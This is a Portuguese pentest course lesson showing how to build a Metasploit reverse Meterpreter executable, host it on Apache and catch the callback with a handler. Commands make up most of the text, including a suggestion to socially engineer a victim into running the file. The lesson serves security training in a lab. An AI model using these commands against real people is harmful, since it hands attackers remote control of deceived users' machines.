Pentest com Kali Linux

Instrutor:Vitor Mazuco

http://facebook.com/vitormazuco

Email:vitor.mazuco@gmail.com

WebSite:http://vmzsolutions.com.br

Shell reverso com o Metasploit e capturando suas conexões

Quando fazemos um ataque do lado do cliente, temos a capacidade de enganar o usuário na execução de programas e fazer com que esses programas se conectem de volta a um computador de controle.

Shell reverso com o Metasploit e capturando suas conexões

Nesta aula, vamos aprenderemos a usar o msfvenom do Metasploit para criar um programa executável (reverse meterpreter shell) que se conectará ao nosso computador Kali, quando executado, e nos dará o controle do computador do usuário. O arquivo será dado pelo servidor Apache do Kali.

Shell reverso com o Metasploit e capturando suas conexões

Primeiro, vamos criar o nosso shell. Abra um terminal em Kali e emita o seguinte comando:

```
# msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.1.189 LPORT=4443 -f exe > cute_dolphin.exe
# msfconsole
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set lhost 192.168.1.189
```

Shell reverso com o Metasploit e capturando suas conexões

> set lport 4443

> set ExitOnSession false

> set AutorunScript post/windows/manage/smart_migrate

> exploit -j -z

Como você pode ver, o LHOST e LPORT são os que usamos para criar o arquivo .exe. Este é o endereço IP e a porta TCP do programa que irá se conectar, então precisamos ouvir naquela interface de rede do nosso Kali Linux e sobre essa porta.

Agora, temos o nosso Kali pronto, é hora de preparar o ataque ao usuário. Vamos iniciar o serviço Apache como root e executar o seguinte código:

```
# service apache2 start

# cp cute_dolphin.exe /var/www/html/
```

Suponha que usamos engenharia social e fazemos a nossa vítima acreditar que o arquivo é algo que eles devem executar para obter algum benefício. Na máquina virtual do Windows, vá para http://192.168.1.189/cute_dolphin.exe

Você será solicitado a baixar ou executar o arquivo, para fins de teste, selecione Executar e, quando solicitado, Executar novamente...

Agora, no terminal do msfconsole do Kali, você deve ver a conexão sendo estabelecida. Executamos o manipulador de conexão em segundo plano (as opções -j -z). Vamos verificar nossas sessões ativas com esse comando:

> sessions

Se quisermos interagir com essa sessão, usamos a opção -i com

o número de sessões:

> sessions -i 1

Vamos ver o prompt do meterpreter. Agora, podemos pedir informações sobre o sistema comprometido com esses comandos:

> sysinfo

> shell